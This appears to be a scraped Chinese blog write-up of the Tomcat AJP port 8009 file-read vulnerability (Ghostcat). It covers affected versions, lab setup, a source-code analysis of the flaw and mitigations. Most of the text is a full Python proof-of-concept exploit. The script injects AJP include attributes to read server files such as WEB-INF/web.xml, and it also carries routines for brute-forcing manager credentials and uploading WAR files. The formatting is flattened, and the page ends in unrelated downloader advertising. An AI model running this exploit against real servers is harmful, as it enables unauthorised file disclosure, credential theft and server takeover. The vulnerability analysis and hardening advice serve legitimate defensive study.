Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp端口一直是默认开放的 Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 tomcat 8009 ajp x04x01xf4x00x15 https://www.oracle.com/java/technologies/javase-jdk8-downloads.html中选择对应版本进行安装 设置java环境变量 在电脑中右键属性->高级系统设置->高级->环境变量 依次设置变量 查看是否环境变量是否配置好 Java -version 在官网中点击Archives 我是64位windows所以选择64位的文件即可 在tomcat目录下的bin文件下的startup.bat启动 这个窗口不要关闭,浏览器输入127.0.0.1:8080即可 先给上poc 源码分析 先下载源码 多了java和test就是我们要的源码文件 在apache-tomcat-7.0.0-srcjavaorgapachecoyoteajpAjpProcessor.java文件中 此时request才刚开始处理 在apache-tomcat-7.0.0-srcjavaorgapachecoyoteajpAjpAprProtocol.java文件中 request.setAttribute位Tomcat设置任意request属性 在apache-tomcat-7.0.0-srcjavaorgapachecatalinaconnectorCoyoteAdapter.java文件中 postParseRequest函数进入到Servlet的处理流程 在apache-tomcat-7.0.0-srcjavaorgapachecatalinaservletsDefaultServlet.java文件中 通过DefaultServlet类的getRelativePath方法进行拼接获得path路径 在apache-tomcat-7.0.0-srcjavaorgapachecatalinacoreApplicationContext.java文件中 最后通过getResource方法中造成任意文件读取 在apache-tomcat-7.0.0-srcjavaorgapachejasperservletJspServlet.java文件中 当ajp URL设置位jsp路径时,Tomcat会调用JspServlet的service方法处理 同样会获取javax.servlet.include.path_info、javax.servlet.include.servlet_path这两个属性(经过上面的分析我们已经知道可以通过ajp协议控制这两个属性)。将这两个属性对应的值拼接到jspURi变量中,最后交给serviceJspFile方法处理 升级到最新版 屏蔽8009端口对外开放 如果还是要用的话 必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值即可 <Connector port=”8009″protocol=”AJP/1.3″ redirectPort=”8443″address=”YOUR_TOMCAT_IP_ADDRESS” secret=”YOUR_TOMCAT_AJP_SECRET”/> 漏洞简介
影响组件
漏洞指纹
漏洞分析
Jdk安装
JAVA_HOME D:jdk JRE_HOME D:jdkjre CLASSPATH %JAVA_HOME%libdt.jar;%JAVA_HOME%libtools.jar
Tomcat7安装
#!/usr/bin/env python from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException from pprint import pprint, pformat import socket import argparse import logging import re import os from StringIO import StringIO import logging from colorlog import ColoredFormatter from urllib import unquote def setup_logger(): """Return a logger with a default ColoredFormatter.""" formatter = ColoredFormatter( "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s", datefmt="%Y-%m-%d %H:%M:%S", reset=True, log_colors={ 'DEBUG': 'bold_purple', 'INFO': 'bold_green', 'WARNING': 'bold_yellow', 'ERROR': 'bold_red', 'CRITICAL': 'bold_red', } ) logger = logging.getLogger('meow') handler = logging.StreamHandler() handler.setFormatter(formatter) logger.addHandler(handler) logger.setLevel(logging.DEBUG) return logger logger = setup_logger() # helpers def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", bufsize=0) def test_password(self, user, password): res = False stop = False self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode( 'base64').replace('n', '') while not stop: logger.debug("testing %s:%s" % (user, password)) responses = self.forward_request.send_and_receive(self.socket, self.stream) snd_hdrs_res = responses[0] if snd_hdrs_res.http_status_code == 404: raise NotFoundException("The req_uri %s does not exist!" % self.req_uri) elif snd_hdrs_res.http_status_code == 302: self.req_uri = snd_hdrs_res.response_headers.get('Location', '') logger.info("Redirecting to %s" % self.req_uri) self.forward_request.req_uri = self.req_uri elif snd_hdrs_res.http_status_code == 200: logger.info("Found valid credz: %s:%s" % (user, password)) res = True stop = True if 'Set-Cookie' in snd_hdrs_res.response_headers: logger.info("Here is your cookie: %s" % (snd_hdrs_res.response_headers.get('Set-Cookie', ''))) elif snd_hdrs_res.http_status_code == 403: logger.info("Found valid credz: %s:%s but the user is not authorized to access this resource" % ( user, password)) stop = True elif snd_hdrs_res.http_status_code == 401: stop = True return res def start_bruteforce(self, users, passwords, req_uri, autostop): logger.info("Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri) f_users = open(users, "r") f_passwords = open(passwords, "r") valid_credz = [] try: for user in f_users: f_passwords.seek(0, 0) for password in f_passwords: if autostop and len(valid_credz) > 0: self.socket.close() return valid_credz user = user.rstrip('n') password = password.rstrip('n') if self.test_password(user, password): valid_credz.append((user, password)) except NotFoundException as e: logger.fatal(e.message) finally: logger.debug("Closing socket...") self.socket.close() return valid_credz def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) logger.debug("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ( "%s:%s" % (user, password)).encode('base64').replace('n', '') for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) print(responses) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: logger.info("No data in response. Headers:n %s" % pformat(vars(snd_hdrs_res))) return snd_hdrs_res, data_res def upload(self, filename, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) with open(filename, "rb") as f_input: with open("/tmp/request", "w+b") as f: s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENtirnContent-Disposition: form-data; name="deployWar"; filename="%s"rnContent-Type: application/octet-streamrnrn' % os.path.basename( filename) s_form_footer = 'rn------WebKitFormBoundaryb2qpuwMoVtQJENti--rn' f.write(s_form_header) f.write(f_input.read()) f.write(s_form_footer) data_len = os.path.getsize("/tmp/request") headers = { "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti", "SC_REQ_CONTENT_LENGTH": "%d" % data_len, "SC_REQ_REFERER": "https://%s/manager/html/" % (self.target_host), "Origin": "https://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "12345")}] if old_version == False: attributes.append({"name": "query_string", "value": deploy_csrf_token}) old_apps = self.list_installed_applications(user, password, old_version) r = self.perform_request("/manager/html/upload", headers=headers, method="POST", user=user, password=password, attributes=attributes) with open("/tmp/request", "rb") as f: br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER) br.send_and_receive(self.socket, self.stream) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Upload failed') while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) logger.debug('Upload seems normal. Checking...') new_apps = self.list_installed_applications(user, password, old_version) if len(new_apps) == len(old_apps) + 1 and new_apps[:-1] == old_apps: logger.info('Upload success!') else: logger.error('Upload failed') def get_error_page(self): return self.perform_request("/blablablablabla") def get_version(self): hdrs, data = self.get_error_page() for d in data: s = re.findall('(Apache Tomcat/[0-9.]+) ', d.data) if len(s) > 0: return s[0] def get_csrf_token(self, user, password, old_version, headers={}, query=[]): # first we request the manager page to get the CSRF token hdrs, rdata = self.perform_request("/manager/html", headers=headers, user=user, password=password) deploy_csrf_token = re.findall('(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"', "".join([d.data for d in rdata])) if old_version == False: if len(deploy_csrf_token) == 0: logger.critical("Failed to get CSRF token. Check the credentials") return logger.debug('CSRF token = %s' % deploy_csrf_token[0]) obj = re.match("(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly", hdrs.response_headers.get('Set-Cookie', '')) if obj is not None: return deploy_csrf_token[0], obj return deploy_csrf_token[0], None def list_installed_applications(self, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "https://%s/manager/html/" % (self.target_host), "Origin": "https://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s" % deploy_csrf_token}) hdrs, data = self.perform_request("/manager/html/", headers=headers, method="GET", user=user, password=password, attributes=attributes) found = [] for d in data: im = re.findall('/manager/html/expire?path=([^&]*)&', d.data) for app in im: found.append(unquote(app)) return found def undeploy(self, path, user, password, old_version, headers={}): deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers) path_app = "path=%s" % path headers = { "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded", "SC_REQ_CONTENT_LENGTH": "0", "SC_REQ_REFERER": "https://%s/manager/html/" % (self.target_host), "Origin": "https://%s" % (self.target_host), } if obj_cookie is not None: headers["SC_REQ_COOKIE"] = obj_cookie.group('cookie') attributes = [{"name": "req_attribute", "value": ("JK_LB_ACTIVATION", "ACT")}, {"name": "req_attribute", "value": ("AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[1]))}] if old_version == False: attributes.append({ "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)}) r = self.perform_request("/manager/html/undeploy", headers=headers, method="POST", user=user, password=password, attributes=attributes) r = AjpResponse.receive(self.stream) if r.prefix_code == AjpResponse.END_RESPONSE: logger.error('Undeploy failed') # Check the successful message found = False regex = r'<small><strong>Message:</strong></small> </td>s*<td class="row-left"><pre>(OK - .*' + path + ')s*</pre></td>' while r.prefix_code != AjpResponse.END_RESPONSE: r = AjpResponse.receive(self.stream) if r.prefix_code == 3: f = re.findall(regex, r.data) if len(f) > 0: found = True if found: logger.info('Undeploy succeed') else: logger.error('Undeploy failed') if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('target', type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") args = parser.parse_args() bf = Tomcat(args.target, args.port) attributes = [ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, ] snd_hdrs_res, data_res = bf.perform_request(req_uri='/',method='GET', attributes=attributes) print("".join([d.data for d in data_res]))
防护方法
本网页所有视频内容由 imoviebox边看边下-网页视频下载, iurlBox网页地址收藏管理器 下载并得到。
ImovieBox网页视频下载器 下载地址: ImovieBox网页视频下载器-最新版本下载
本文章由: imapbox邮箱云存储,邮箱网盘,ImageBox 图片批量下载器,网页图片批量下载专家,网页图片批量下载器,获取到文章图片,imoviebox网页视频批量下载器,下载视频内容,为您提供.
阅读和此文章类似的: 全球云计算